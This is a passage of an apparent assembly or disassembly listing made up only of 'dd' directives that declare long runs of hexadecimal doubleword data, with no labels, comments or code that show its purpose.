0F7DDFD0Fh, 5E9CE9ADh, 9588616Ch dd 0E4842A8Ch, 0E56C1FAEh, 7B8038B5h, 465436D6h, 0ABA814CFh dd 0B67680CBh, 8C0A02F0h, 0ECC80975h, 944A23B7h, 2F5E90F3h dd 1623B4h, 0C3215F73h, 8727D405h, 107CA09Eh, 0B61D9097h dd 8F7084E8h, 1F2CE03Ch, 54A57E00h, 652D99B4h, 0F2301DF4h dd 98EAE5E2h, 8549D5Fh, 9B6003FBh, 4B74BEF2h, 2FB4DD21h dd 28008C6Eh, 0CC26EA10h, 3104F590h, 2F8B3698h, 108E8894h dd 30C0FB88h, 0E62D71Ah, 4DFE39ECh, 0FF21A82Ch, 0B9BFDD07h dd 0DD024EDh, 899405h, 0BAB8DCBCh, 70C4D096h, 8CB274Bh dd 0FCB8D44Ch, 3321018Ch, 0CF481967h, 5351F8AFh, 1390C33Eh dd 58E872C8h, 7D848939h, 0AE070D74h, 2223E03Bh, 3B41CB00h dd 0FE537Dh, 0FC6FBCE4h, 0E185F7D4h, 0E01024B0h, 539FFB13h dd 0B7DCA3FEh, 0E689C0E8h, 38900285h, 38A00C90h, 0B97D6871h dd 1817BB05h, 74E4820Dh, 88009D67h, 36D9BF61h, 2820685Eh dd 69D489Ah, 9EDB789Bh, 911748D1h, 0A8E1BFA4h, 4E8C8D2Bh dd 0C02288D8h, 706381BCh, 945A600h, 7C120E4h, 0CD8612A1h dd 0C890B0C0h, 0C9207098h, 0A27E09E9h, 30F16E87h, 44F70054h dd 0B2683E42h, 8F0F7A93h, 0BAD99D5h, 80AC3D34h, 65772946h dd 76128E1Ch, 3D13C57Eh, 0CE9AC02h, 4AA8F283h, 0B21CA671h dd 0F0815D37h, 7047184h, 0EC036C81h, 80349E6Ah, 0D9A6841Dh dd 889F1070h, 64B87D18h, 50D044BFh, 30C8E6Eh, 90F65508h dd 2CC951BFh, 44D6F459h, 6CB2847Ch, 0E470679Fh, 1F4B602Eh dd 84321FF3h, 0F150B08Dh, 9A1C7287h, 0B9B05007h, 5A0047Fh dd 0D9866031h, 0F5AF81BEh, 0C8163AEFh, 86C47CB8h, 0C412AF03h dd 0E659B080h, 94D9828Bh, 0D6692900h, 9C8D15h, 0A3481854h dd 5BBCE74Ah, 65D32D05h, 10BC36DAh, 0C7825509h, 144F9422h dd 27005C27h, 0A037C8h, 9750F695h, 13E22287h, 388B8130h dd 5BD8AF0Ah, 0C810CB6Eh, 0EEE0CF21h, 56EDB02Dh, 2D86E839h dd 0F8987911h, 3E8603FDh, 242C510Ch, 38B7044Ch, 9D8C0729h dd 1DF6EEC0h, 0D06A5CC7h, 21C4E880h, 9B901BD5h, 22FB6000h dd 0BCDDB3C3h, 261375D3h, 0E30B71Ch, 5C05C867h, 27E4F465h dd 0C5860704h, 8482162Ch, 100BD7B7h, 24DCE8DCh, 3C68E62Eh dd 8079A614h, 78B32446h, 7E0254A0h, 475B7227h, 6004646Ch dd 2451A103h, 31DC994h, 0D585A0A8h, 1B84A590h, 79C2F0C9h dd 0A4928260h, 0A068FB3Bh, 0A8B48974h, 702CFB27h, 9E251718h dd 8F48D17Dh, 7C988CDh, 592D54F0h, 4F7C6811h, 70281EDh dd 7C1AC9FDh, 53B052C0h, 0ED0E82A4h, 42B2D701h, 5DD97C88h dd 56980C00h, 1A4A259Eh, 3AE018B6h, 47E3DCEBh, 4E1C498h dd 58BEA893h, 1D8A4FCh, 469FAD00h, 75891D69h, 0C1CA0192h dd 459320D3h, 649B2F94h, 89731881h, 86FCE3A0h, 0C6B5D0BDh dd 840C29C0h, 727D00D4h, 0F4ABA85Dh, 19EF10CCh, 82C40917h dd 9B080CACh, 5C5B27F0h, 0FEAAA58h, 2E8F3D1Dh, 11608A00h dd 0E32FFB9Ch, 8E00592Bh, 51E323F2h, 7AE0DAFAh, 2B731CFFh dd 0A2974800h, 6C911F81h, 38EB60B3h, 6943F9BCh, 63203413h dd 0ADDE9805h, 9CF6A4C5h, 0AC9005E0h, 6013D1EEh, 78003B13h dd 9D4127Fh, 0DC92959Ah, 0F0BC54D8h, 1D1C00D6h, 53166DE6h dd 379D0B17h, 801E1100h, 0C1F6F53Bh, 7AD10039h, 86A4702Bh dd 219774A5h, 12DCBFECh, 0FC7B9907h, 4D181F59h, 0C0900100h dd 0D7C49149h, 5C200BC8h, 0AC59F675h, 7C1FEA10h, 8E0A1284h dd 0C025C838h, 2DB8053h, 0F0216102h, 0F0CD4B2Fh, 66722510h dd 18E46065h, 0E9376F60h, 0F52C5200h, 0B766AA5Dh, 0A3364B70h dd 33F1B2D8h, 0CD2B86E0h, 2A7B802h, 0DEF89766h, 63A80694h dd 6D5CD0E8h, 49EC104Ch, 0E7C83601h, 50517C20h, 82D7FE9Ch dd 0C1F9AA03h, 0F1912408h, 0A440FD2Bh, 26311067h, 0A5B88BA4h dd 102F04E9h, 9A19848Ah, 48E8B590h, 9407CA5h, 180F4450h dd 0F4B0B700h, 6F433C1Ch, 0CABB0949h, 18D11EA8h, 66B1606h dd 0C2820331h, 47A2F1B9h, 0CA068C2h, 0ABE0DDCAh, 2892FB02h dd 0E61CA743h, 0A9860024h, 0FA2D9C79h, 82385456h, 5FDE0076h dd 0CBFFD59h, 711C6088h, 56E2A67Dh, 80A0675Bh, 0FC23B5F1h dd 0C5F80599h, 0FC0084ACh, 7FE62F32h, 47112D3h, 9F72E986h dd 28FCE170h, 88BC93BCh, 81005794h, 6B8C6D9Ah, 85FCC394h dd 3C9D25h, 2446AC8h, 373A0499h, 0BA050A01h, 28F8E412h dd 0ADB33C80h, 7900F0DEh, 7BE09D08h, 0FCC939DAh, 9C48B71Ah dd 18800414h, 12F02787h, 0A5A28C21h, 0A0202F52h, 620CF7Dh dd 1848FA8Eh, 39043CBAh, 476AC80Dh, 0A56442FAh, 0EC2022E8h dd 97D39048h, 5BCF843h, 23BA87CBh, 0F938EBB8h, 338C939Bh dd 7D0858F8h, 0BF9F10A8h, 55C3FB80h, 5F654BFAh, 1270A391h dd 0D045F954h, 88BD8493h, 40E86A25h, 7F12CD8Ch, 0ACBDF268h dd 6102EABCh, 0CE02FBC0h, 80A4FC6Bh, 44F2BF5Ah, 6702F1F7h dd 63B5B11Dh, 40E4E2DDh, 80341058h, 5F02C70Ah, 0F871747Dh dd 0DE747417h, 0DBE9883Eh, 132D98FCh, 38BBAC78h, 0E995E170h dd 9D65CC60h, 0CC73C01h, 2A46680h, 8411205Bh, 7F54C923h dd 80C8DB3Fh, 96ACB5B6h, 0A142177h, 0F7879F8Fh, 0E894900h dd 3D05C06Fh, 3A93499Ah, 2858A245h, 86959C2Ah, 0F8A1C28Ch dd 48452D67h, 71E9ACD1h, 192F79B8h, 720AADF4h, 5F995B3Ah dd 0A7D809F0h, 6B1CD8DAh, 0D296A1B1h, 8280D8E8h, 268AA58Eh dd 18CD475Eh, 0E064E62Ah, 778F9CDAh, 869E04CEh, 1205B495h dd 0F4F7D4B2h, 0EAE3504h, 8C27E540h, 0B2269414h, 771900DCh dd 2F543901h, 89290693h, 8281AF7h, 53198890h, 5F191BA7h dd 0FEBCFC7Ch, 38040343h, 0BF90B606h, 90821C17h, 0C039DD80h dd 0CD88102Bh, 0F008602Ch, 33F8BEEAh, 0D4FCB297h, 0CEF6DC30h dd 0A5566901h, 0DC1E3DE6h, 0A818812Eh, 0DD3A0210h, 247ED41Ah dd 0BB6F00DCh, 638B4EC8h, 1012F99Ah, 60A114BFh, 16D0CA2Bh dd 3CF9EA9Eh, 9801FBE8h, 7E757C2Fh, 5DCE5E72h, 0EA89B838h dd 40D0EF9Fh, 0DA475A60h, 485B2901h, 0F8F15EC2h, 0B6321B10h dd 539B6800h, 0AD8C8F52h, 4F7B015Bh, 6462B946h, 82D47D81h dd 1A9385h, 4289D88h, 0E5C7A8C1h, 0BFCFB7Fh, 2760B021h dd 2443B694h, 0ED321007h, 7C8B1769h, 87D18120h, 821314A5h dd 0A083C240h, 79CCD91Ch, 9D018FCh, 495C88BBh, 0CC394E2h dd 0BA83429Ch, 8850741Ah dd 18280454h, 93DCC20h, 1AD09D86h, 2176D47Ch, 83A803FCh dd 0C185E62Ch, 0E1A7871Dh, 0C17A52E0h, 6A254CF4h, 39D05427h dd 207F18Eh, 0D535CC02h, 0E050794Fh, 0DBA49209h, 713891FBh dd 2346B3Eh, 478492DDh, 87D200FEh, 305408ADh, 9F00EBB4h dd 21AFA77Ch, 1CA3DC7h, 1E0B1C7Fh, 0DEBAE67Ah, 66601CDEh dd 0B5116C97h, 0F1919C9Dh, 0A059F482h, 6D74027Dh, 0B89857D9h dd 899DE2F1h, 73445B18h, 81DEFAF0h, 98663D60h, 2D896392h dd 9C9FA884h, 0C6802F11h, 0C25FE163h, 91D8187Ah, 2573BAC0h dd 707A890Eh, 11041D9Fh, 0E9798020h, 93DFBE0h, 0FDEF9C91h dd 3192DC5Eh, 0A6C834A1h, 91EF25Dh, 189CB770h, 9885541Ch dd 5080F1CFh, 5421C1E5h, 6225CD72h, 77C786Bh, 59E67D01h dd 2CD42072h, 0DD7E37CBh, 3F68B7B7h, 0DE08A885h, 6F24F00Bh dd 5AAD8888h, 0CFACC054h, 76000156h, 9935D511h, 3E5281Bh dd 8629D81Ch, 0BAA53CC5h, 0EF802070h, 0AFCF1E7Ah, 5D49789h dd 0E8946078h, 8CF1BC98h, 0C2836712h, 88667029h, 0CF9D38B0h dd 1FC2B50Bh, 190F1DEh, 4D8375E0h, 0D458ED8Ah, 3C00D4BBh dd 8CA4A29Ah, 0D56DE3h, 0B8B96378h, 0C1C7567Dh, 468E595h dd 0FFE4BF70h, 4CB88812h, 1F7D37A2h, 872C1120h, 6B33922Eh dd 80D100E2h, 0C6D5E5DFh, 9F19703Fh, 2F781EA4h, 0AC58CE2Bh dd 0CF395EAh, 39C9DE58h, 5102A61Dh, 734E9990h, 0EA14ECE0h dd 58D8D395h, 0E400DFFCh, 56323B2Dh, 108B7D1Ch, 4AFB358Ch dd 5F8890E2h, 0C0484DA5h, 94B6E816h, 4B523D40h, 2F9CCADDh dd 0D8C4DB45h, 0E102EFA9h, 71253238h, 0E6F0E0A5h, 4D48217h dd 2289804Fh, 1CBC99EAh, 0C54C69EEh, 1DF15667h, 0E40D8058h dd 0A2B0BF9Ch, 3DE91C00h, 13D7D39Bh, 863A3FE7h, 0C6C50889h dd 17BF7C51h, 9CBC1B84h, 79F06B1Bh, 28439DF8h, 34933Dh dd 0DE23F7BAh, 3A163973h, 0A4DC537Ah, 73A7901h, 68E5777Ch dd 197402CCh, 0D785D067h, 8F10D890h, 7B317025h, 0B8CD80E0h dd 0D3B7EF34h, 506A2E0Ah, 73808C13h, 93D9DA1Ch, 7A04782Ch dd 37B8002Dh, 0A388E04Fh, 490009DFh, 60355E71h, 75D38AC2h dd 6464B53Bh, 0E2BCCDB5h, 58603E20h, 0CB412D0h, 7BF24676h dd 0B1C6ED12h, 0ADD6BCBCh, 1FC5B8C4h, 405E4B84h, 58B57CF0h dd 57496C93h, 0D0D22670h, 24AE90B4h, 0C06EEBC4h, 73203B03h dd 81072AA8h, 711224A2h, 0CECF77F0h, 98E900C2h, 16F31D17h dd 0FD5B2269h, 0D1C6E48Dh, 0F6920004h, 0B5543FCAh, 0F1A9F1EBh dd 2B36C5DEh, 20CC0B0h, 80C60752h, 0B7771CBDh, 0D7020064h dd 70FBDCEAh, 94DED412h, 814F84F2h, 2E180A28h, 789E2499h dd 908FC903h, 0F0823078h, 0EDC707Eh, 7C892A7Ah, 8845275Ch dd 647C65A5h, 7ED76019h, 3E6DE073h, 6718BB46h, 0B5882102h dd 7369E0BCh, 0CAF770F4h, 68F11E2Fh, 165F36Ch, 8AA94A44h dd 1011797Ch, 712E9Eh, 4DD43F93h, 9B97D46h, 0D245B60Bh dd 0C0787699h, 7CED489Eh, 4309197h, 0CB08282Fh, 2D85E388h dd 0C401D895h, 38F48772h, 0AE200B28h, 0DB58684Fh, 7E82005Ah dd 0C27FE0A2h, 0EB008B52h, 6456B4CEh, 9F4D337h, 0A6E3B762h dd 90DF9092h, 6E6F218h, 4335CE2Ch, 9706464Dh, 489B5FDEh dd 32707868h, 9A78244Ch, 0BF7268A1h, 0B857D264h, 2B96E8E8h dd 2184C1Ch, 39D08F70h, 0BEBC5612h, 0A8208712h, 0A0CA4A60h dd 301F9771h, 55802F11h, 5A871C21h, 30848B09h, 0A5A07314h dd 5B51445Bh, 33FCF7EDh, 0A586086Dh, 0CC2F2304h, 773C0560h dd 0ECDE4B2Ah, 8CF3EC50h, 79C1C62Dh, 4C4D4978h, 0F3D0EEC3h dd 225EC8ABh, 8493174Dh, 0E5FCA09Bh, 50E08503h, 9D078E66h dd 5E9D960Bh, 0B55DC9A4h, 0B8A70094h, 2CCE84B5h, 809D8C09h dd 6268C70Dh, 881B0402h, 17735BCh, 0D9F5687Dh, 6AA38492h dd 56939880h, 8F29012Ah, 5B7267CDh, 3C8206Fh, 6451842Fh dd 548A3C90h, 1308E92Ah, 0AD09658Ch, 19831638h, 48E820B9h dd 13E19C00h, 24B1953h, 7610A050h, 256F0EB4h, 5260997Dh dd 985C7E10h, 3E1C37EAh, 958294B3h, 74BF80ABh, 4467444h dd 1EEFC70h, 600A8F43h, 30719525h, 0B408DB8h, 0BDDFEC91h dd 2000F4ABh, 745632F6h, 495A35EEh, 404240E2h, 0C03FDE1h dd 51B82453h, 6D680174h, 2534C73Ch, 86E2B7Ch, 2081417h dd 0D79C497Fh, 46F4A05Ch, 0BDC51F21h, 6CE16004h, 527030AFh dd 535A6688h, 9C8034DBh, 46A17C1Dh, 0E4BAF700h, 2E9929C0h dd 69401989h, 0D2D536F9h, 0F6193C40h, 140E8626h, 0C0586DA5h dd 0F1FC5751h, 0ED928200h, 913335DCh, 737209Ch, 0B795E97Fh dd 0FCB000BCh, 4835B144h, 0E65539h, 0E84CF8A3h, 606AB7A7h dd 5AFEB90Ch, 4A0327BCh, 0F598FBA0h, 0E320EF08h, 599766A7h dd 0F05B54D8h, 0B8376B50h, 41FC3815h, 68640EFFh, 0A53D866Fh dd 0A79B0FBh, 128E2EC4h, 0ADF0F56Ch, 42770F9Ch, 6AEFE002h dd 12DBE380h, 0E33B1F6Fh, 0C586097Ch, 6050D00Ch, 0B754E877h dd 660459D3h, 0A7DAF03Fh, 80BC9BABh, 119AA073h, 3DB30227h dd 8F4A4DEh, 54145709h, 4656049Eh, 0BF510023h, 94E91CAFh dd 0F2C34A6Dh, 1CE99250h, 16EA30A8h, 5E13ABEEh, 0B500492Eh dd 29481AB3h, 0D49D169Ah, 0BFD44220h, 0E6552330h, 0B4CDBD4Ch dd 0EBB9C043h, 8C2A866h, 0F859275Ch, 0A774A872h, 64D4E79Dh dd 5B616116h, 15B0D86Bh, 30FC8195h, 699E115Ch, 0F46A12C8h dd 5003ABA4h, 45DDFB91h, 8E46C07Ah, 0CB1D5CD5h, 0A1527D05h dd 0E874C188h, 89A3013Ch, 40785870h, 0F6EADB1Bh, 7A9D8025h dd 0F0942270h, 79958CF8h, 0BC659210h, 84337C40h, 0F48619FDh dd 7B84C8ABh, 72624E07h, 28A58543h, 5E7E55C1h, 0F434E0EAh dd 2E128109h, 69C5C04h, 0D0537200h, 0D6B84C4h, 0E3EC49F9h dd 9C8FCF4h, 12757C2Ah, 599720FAh, 0D353E84h, 0D45CAE8Ch dd 59F4AD09h, 2C782DFCh, 1FFE3F20h, 1817AF38h, 0A8766110h dd 0F0E27D4Fh, 59EA0F18h, 0D49AD18Ch, 7A727E09h, 889571Fh dd 17B89C60h, 23FCCE02h, 88489B20h, 0C82DFF90h, 107E7A78h dd 21A30BDh, 0CD85E465h, 0F684E880h, 4A0A681h, 748AC806h dd 25ECB931h, 65687E72h, 7394EC15h, 0F761F260h, 1B92EEDh dd 0D62FB6CFh, 6B6AE8E2h, 4073E0D8h, 0DF125AF6h, 12BF8502h dd 846EEBECh, 1DE5C700h, 0C947A762h, 3CA23F26h, 0B8BAF90Dh dd 54D2B2A7h, 94907095h, 1E467458h, 9646DE00h, 29A007B6h dd 8A6D7C02h, 5DF07758h, 0C3810410h, 9B636A12h, 86EAEh dd 6678E43Fh, 3673D0Fh, 7C315B44h, 0B802F597h, 63E65A0Ch dd 0D64CD4EAh, 0F772CA02h, 448FF6FBh, 0A20989Ch, 817C8B40h dd 27338994h, 377Fh, 0FE63DFC5h, 8B1C7E73h, 79E7660Eh dd 39330CB8h, 4ED3D10h, 0ABB5FCA9h, 8908786Ah, 9480F8F1h dd 4F79063Bh, 0C3820EC8h, 5500BF0Dh, 2D93CD7Eh, 0EA0424h dd 0F34100DCh, 37BEE301h, 0C7027ECAh, 0E0C505CCh, 0C8E85533h dd 1A17D0A2h, 8E9870Fh, 0C828DA4Ah, 6128C716h, 2E4F0286h dd 0FA0ABC47h, 0F7016600h, 9CCC394Dh, 6D804A80h, 55682E58h dd 0FECA5005h, 35BA35DEh, 237C3A1Ch, 0ABA90014h, 0B7700C52h dd 0CC1F8026h, 0EB386525h, 7945704Dh, 1A5C08FEh, 2CBC9B12h dd 1FD7D3A2h, 401086Ch, 299F3860h, 5E501DDh, 844B2EB7h dd 58003ACBh, 8E2759D8h, 0BFFD267Eh, 188F6158h, 7B90A755h dd 88C07020h, 24FBD098h dd 0A05F7C04h, 0F30004F2h, 23F953D8h, 0D94AEA62h, 0B4E30F3h dd 84F03B58h, 0E15C8812h, 9C718A0h, 318A1CD4h, 4051485Eh dd 520C3184h, 0F4CAABE0h, 0F74B763Ah, 0A1B0A7B8h, 4B994231h dd 0EACB25Dh, 20BA569Bh, 8D229E2Eh, 34E90207h, 88C702E0h dd 990EE879h, 272D425Ah, 0CC89D71Ah, 1DDC9C7Ch, 9B83F595h dd 0FBF1811Eh, 475CE42Ch, 1459E600h, 0DF7ED8C1h, 0D4E0B57Ah dd 0A825B8CDh, 0CB0CC8C7h, 14C69F02h, 8558CC95h, 6018C48Ch dd 4630E90h, 3588D4C1h, 74C480A0h, 0EF0B3BF9h, 0A9F4C585h dd 0A818599Ch, 0BF842DA4h, 6ED8A081h, 0B7908968h, 0DC74F4A8h dd 0B86DA02h, 82B76A15h, 0A1359BCh, 34BF0EBCh, 5A34CDD6h dd 0F63DC2D0h, 804488h, 0EC4FD77Fh, 9A382B91h, 0F42890B5h dd 63810093h, 367DFCE4h, 0A309D2F7h, 5EA5AD84h, 73EF0754h dd 0B777E94Ch, 62980020h, 0B0575659h, 0F6F8A07Fh, 98D0895Bh dd 2CBEB80h, 707D9671h, 8CFC6897h, 0BACA584h, 904A312h dd 0FC68C586h, 87700B58h, 0F3F984D9h, 0A2D3518h, 816C7995h dd 6B48B6C6h, 64846A73h, 0BBB83CA9h, 127C7800h, 6728645Eh dd 3CDD5C55h, 0F86C0974h, 0BC5A8772h, 42992112h, 0E7DE5202h dd 489FFF1Bh, 9C1911h, 0E23FB14Bh, 0D1973E91h, 17B0AC68h dd 0D14A03Dh, 0C294E695h, 954A5E80h, 5F64BA57h, 98605CEDh dd 5062C4A2h, 4484D445h, 68C20620h, 4C809A52h, 2CC295E0h dd 1B10747Eh, 258C7126h, 9D3E420h, 341EF91h, 2EC21828h dd 88E07D63h, 0EE951BC5h, 0AA820F0Ch, 3A00290Ah, 93D41970h dd 0BCCD0E00h, 8689BC0h, 759AF4E3h, 0CC7E502Bh, 740B1780h dd 0FC2CFC87h, 66008CF6h, 62862C5h, 120C9ABAh, 0B1C95433h dd 9C306F30h, 0F240EE0Fh, 467F0141h, 0B60722B9h, 0E898C87Eh dd 0C0E25C4Fh, 99BFE007h, 63A301C7h, 0EC826BDDh, 0B4B555EAh dd 0A2E5482h, 90E0449Bh, 0F1B85A60h, 0EC10790Ch, 209305B9h dd 0BC6FA491h, 9BC3AB4h, 71C62CF1h, 2DA6609Ch, 0B252924h dd 40A05E0Dh, 0D09F841Ah, 5E8040C9h, 0A310E51Ch, 30F8E214h dd 8E09C1CBh, 56DB1669h, 8EF40CCh, 50B094E1h, 5E522E05h dd 343B376Bh, 100FB23h, 72056E6h, 4583128Eh, 2420BB77h dd 9C9618h, 0F4B4F913h, 0E4DA6775h, 33FAF161h, 15D4FB51h dd 0AC7995A5h, 39C526D7h, 4FB0F04Eh, 69CA1BFh, 0F730FACFh dd 16251475h, 0DD8035h, 0F5540D66h, 12002127h, 7CA06CB9h dd 7D36D29Ah, 0B1950B6Ah, 4482639Ch, 14D8E974h, 0A18C795Ch dd 9C74026Ch, 855512E5h, 90182CEAh, 3A1F1B40h, 740D2893h dd 7F51F331h, 9EFA034h, 96570C14h, 50539740h, 11C1550h dd 3073FE37h, 2EA38491h, 5CDCACC2h, 88B76B6Ch, 0A032B10Eh dd 5E391EFDh, 349D3188h, 0C0062EB9h, 37CE818h, 9C98C52Ch dd 0D4F8B792h, 0AE82409Eh, 70761660h, 91EA7728h, 68E6284Fh dd 0AEF425E0h, 8B3C4E2Fh, 21687EFCh, 32884FACh, 2C8C5A49h dd 0C1B8940Ah, 2B87139Eh, 9B3ADC89h, 301CCBE0h, 207C3078h dd 9A95F009h, 0F46D777Ch, 55FA3FC0h, 1DA0B14h, 54829352h dd 9E22121Ch, 8677D2Bh, 6003C8CFh, 2F2EBE72h, 0B4F66E09h dd 0BE44CE97h, 161DD4CCh, 0CF422A7Bh, 57625281h, 0A07C2C8Bh dd 0FE1C00DCh, 3A2EDAFBh, 6D169D6Ch, 50373F93h, 0FBB61C80h dd 8A1F05C7h, 0A9382F8Bh, 4F01B814h, 44E2C6h, 0F13C119Fh dd 13B6993h, 6CD81A15h, 6F900A77h, 95B520CCh, 33E664E4h dd 574ABD6Bh, 0EA866685h, 9BEA1FD5h, 8EB780B4h, 6AA5D8h dd 0AAD96CBCh, 153DB501h, 0B5905D9Fh, 0FF810F2Dh, 7EAA98F8h dd 2FF57717h, 61543995h, 2C4200F6h, 0A8F3E4BFh, 0F8648B96h dd 0C9401044h, 0F9395BE0h, 9C71011Eh, 8C7FF307h, 3E828E71h dd 18DA27Eh, 88C57229h, 9F409AA5h, 0F6771B95h, 5B5738B7h dd 0FF965F93h, 0E10EA86Eh, 18C09874h, 0B8E0F76h, 20EA1FD7h dd 9B94861h, 9DEB8C15h, 6EAB9690h, 78770E0Bh, 8B1D00A1h dd 0A80AEDBDh, 57F595BCh, 0B0B0B520h, 8C01565Dh, 9D2BFFCEh dd 4E860C45h, 0D21BD83h, 44A7D89Fh, 0F9FB8915h, 0BB96002Bh dd 393303F1h, 0FB8B5021h, 0E38166C8h, 7B7B4C29h, 0AD9D0B02h dd 0B15B8210h, 31DB5502h, 76A778h, 2AA04AA2h, 6658EFB2h dd 0B4D98B29h, 0B9B55D4Bh, 0A7726300h, 71BF17C4h, 261427A4h dd 0B593E477h, 64008279h, 2482AC96h, 0FF850042h, 80D8033Fh dd 0FB05393Dh, 0B3C05DA2h, 21B1AA04h, 8AB5B0Ah, 21009F5h dd 0FC060B22h, 2D01858Bh, 0C6F5331Ch, 4DD1C716h, 29D6EB24h dd 18A9BCA8h, 383AE980h, 0F9DAFFF3h, 60F0B9AFh, 0CF59053Dh dd 0C68589B5h, 8B24585Ch, 0B91C34C1h, 0D2335725h, 1FC91810h dd 4D073851h, 9A11AA60h, 0C7B0505Eh, 677AB7DAh, 90F9B5h dd 58D2B144h, 97174C26h, 6FFF6AD4h, 0D4A9007Bh, 45D30AEFh dd 0B799185Dh, 9D8B4A7Fh, 395BC8D0h, 918BBC5h, 7C022BBh dd 54683ECh, 29F560C6h, 0BA666090h, 5769BB17h, 5BB730BAh dd 904C5061h, 109110AEh, 95296661h, 40BC230Dh, 2248819Eh dd 1A71856Fh, 0FFDA9627h, 0FC458D9Ch, 9BAE17A8h, 69BC7CFh dd 316192D0h, 0A5DC0A94h, 67AFD1FFh, 4ECAE060h, 812752DEh dd 0AC4E7D26h, 572B7E69h, 0F660A56Dh, 617B6Ch, 6AD7F380h dd 0BF0F5002h, 905BFB04h, 0DA4013E9h, 6B20F3DCh, 91706EF2h dd 0B745AD00h, 0F7B0370Bh, 0F4CD16F5h, 6F20BA50h, 75E63Ch dd 0E51BF325h, 904B2013h, 70D4FBB7h, 0BF388C93h, 27AA96FDh dd 0E3804660h, 69E912D4h, 58AAB0Dh, 0A316CF24h, 2B2E788Fh dd 66880802h, 558D43BFh, 4358A4F3h, 630B2C73h, 8D496024h dd 0F8244167h, 230769ADh, 77FB1796h, 0F9092537h, 219202ABh dd 0EB90051Ah, 35D8A689h, 29413DC6h, 1E310B00h, 0AE9AC166h dd 50C09112h, 90FAEB04h, 0AC95E9FAh, 88FB48BBh, 0FB0C4E76h dd 0B67A1C9Dh, 0A03FE32Ch, 0B5C67673h, 80009373h, 0B57EAEBh dd 239526BDh, 1057A5BFh, 249D3319h, 0BEE10349h, 0B828ADDBh dd 0C0200262h, 5CD8DF1Ch, 861AC82h, 0E15989E4h, 9FFD5A72h dd 5E01B4B8h, 0BB66E02Ah, 6520EA84h, 0E92B4019h, 0B02DDF64h dd 0CD9D47C0h, 70E68018h, 0F9B70F05h, 0C8AF71E4h, 6400DB21h dd 0BA06E25Dh, 0CD0E30h, 0C381B7FFh, 6BC942EAh, 0F4FD5F5Fh dd 7A35B136h, 17541858h, 24FFC8B6h, 800FC0D5h, 0F8BF68C3h dd 8C0F188Fh, 28BF1D05h, 23B8BE17h, 0BD7942FFh, 0C8202041h dd 0B2E58D31h, 92D1FC69h, 8E59B52Ah, 29BD3106h, 0D050B721h dd 0CB109D20h, 8757C32Ah, 0AFAC1BAh, 0E90DDF13h, 0C5200607h dd 80B57095h, 0D0DFD03Bh, 0FD8A0AA2h, 2F6342E9h, 814055D6h dd 211BBACBh, 841F6113h, 0B48964E2h, 0C5BD4523h, 0A583F245h dd 66FE2106h, 32F43446h, 0F510284h, 0A8980486h, 0E96E6EB4h dd 0B58D0011h, 0CE17F9FFh, 0BA76BFCCh, 0D742A21Dh, 0FF09E893h dd 8A1CDC66h, 8D7B9FEh, 24C57ABFh, 0B3B1ADEh, 1841AB27h dd 23EED1Eh, 4BD80435h, 22430DBFh, 0FC860BB5h, 34EDF982h dd 6EFFF60Eh, 3C870329h, 0B9B9AF28h, 0C430CB80h, 0CA23CE0Bh dd 0B8FA9620h, 0D3045825h, 2BC14493h, 0B87FB9FAh, 49750AB2h dd 11FFFC09h, 865313h, 0ACBC2AA2h, 3A436640h, 6E00B54Eh dd 2B5F5B52h, 3318ADD2h, 0D078D1C2h, 4E90B83h, 377DF475h dd 0A7C400B0h, 6440BA36h, 65D6001h, 880DF963h, 1B60FA3Bh dd 0B7CB11h, 160879C1h dd 90CAF4DAh, 7804D500h, 76E8F3A4h, 0E349051h, 5F34D2D7h dd 29910532h, 6FCE1232h, 21A403A2h, 92088AAh, 9FE4EF5Ah dd 64D8E02h, 0B1109809h, 68110E88h, 809FBC05h, 3EB3E122h dd 80398BA3h, 8DC2BA50h, 8C10318h, 0A359A5EFh, 2B205819h dd 0BD1AB8FFh, 0AD270CD8h, 0E2EE7729h, 70A4F3B7h, 0E705DA3Bh dd 0CA438285h, 4439D0C7h, 22DE00D7h, 329A3DD3h, 4800F0B1h dd 135AAC4Eh, 7796CD2Fh, 5F11279Bh, 0BB0F9B2Eh, 334D4B82h dd 0D679DDE1h, 3E85E849h, 838B70ABh, 6000347Ah, 6458804Dh dd 22D76F8h, 740744B9h, 0CDD7E1FFh, 0C162C08Dh, 273C6FFEh dd 0ACC5B8CAh, 7D093301h, 71D36820h, 3F2F8626h, 0F4E5F404h dd 70760514h, 1001882Bh, 8FAED22Fh, 0DD07C78Ch, 71C157F4h dd 3048816Fh, 6B919803h, 375F53C9h, 9C860049h, 0E4CAB0D4h dd 0A4AB5C0Bh, 2E117560h, 6CF4ECE2h, 0B9017102h, 80536BE0h dd 665C3749h, 0ECD94C8Ch, 0B0BD110h, 7504E180h, 0CA017CB7h dd 0C90AE3AAh, 1989C41h, 0A065B77Ah, 168F8623h, 1F57D983h dd 4C0DD0F2h, 0F6693B81h, 63F67EEDh, 0D370CDE2h, 336EAF0Eh dd 0DF1BCB85h, 4C0033BDh, 0E834E29h, 50A5281Eh, 0F50F2FF4h dd 0F6665Ch, 0AE33FF69h, 8590B0BFh, 82487969h, 0F7198DADh dd 0FF1CAF4Ch, 60121F03h, 78299B88h, 2D181679h, 980888DBh dd 7F480700h, 1451B5CBh, 83D70BE2h, 0F194F21h, 6EBFECh dd 0AF25198Ah, 4EC2B03Ch, 0AF06125Bh, 0B056ACC8h, 2D0B3FE9h dd 8CC78BB5h, 1300AE65h, 1E889823h, 1066BFh, 150BED0Eh dd 4B8F5ED3h, 2E318B48h, 0A80B0B52h, 31BB07FFh, 31138825h dd 24ACA2BBh, 6F6A3E5Ah, 8C4EE860h, 0CC880026h, 0C89E1DC3h dd 7605AACFh, 58F6DCEFh, 8966DBBFh, 2A00E129h, 0AD10D93Dh dd 0A5C24009h, 850D3164h, 0E67FB8F1h, 0E91CF043h, 0B7939229h dd 0DA48135Ah, 59903671h, 26612070h, 0C4AEC74Fh, 0CCB6AE57h dd 8B54F6E0h, 3D94B52Dh, 3F138113h, 70E5EAF7h, 2041D98Eh dd 4B29B693h, 4F56022h, 1020EB7h, 758DD8Dh, 0B3F2617Dh dd 93E4BB49h, 72888D56h, 3A7FC3Ah, 6D9920D1h, 86EBAE6Bh dd 38FCC598h, 0F98B1517h, 4463D03h, 856A6901h, 0EEF5D343h dd 28402F84h, 1D2D126Ah, 26DB0058h, 225E3C5Dh, 0C67E6C53h dd 0FDF7DF51h, 0E05F0208h, 52FF01D1h, 0BF3AC3B5h, 2051A12h dd 23159D0Ch, 0A84E6800h, 640C483Fh, 4829FC50h, 0B31763DBh dd 0C720BF9Ch, 7C20ABB1h, 0D18D270Ch, 34B2498Eh, 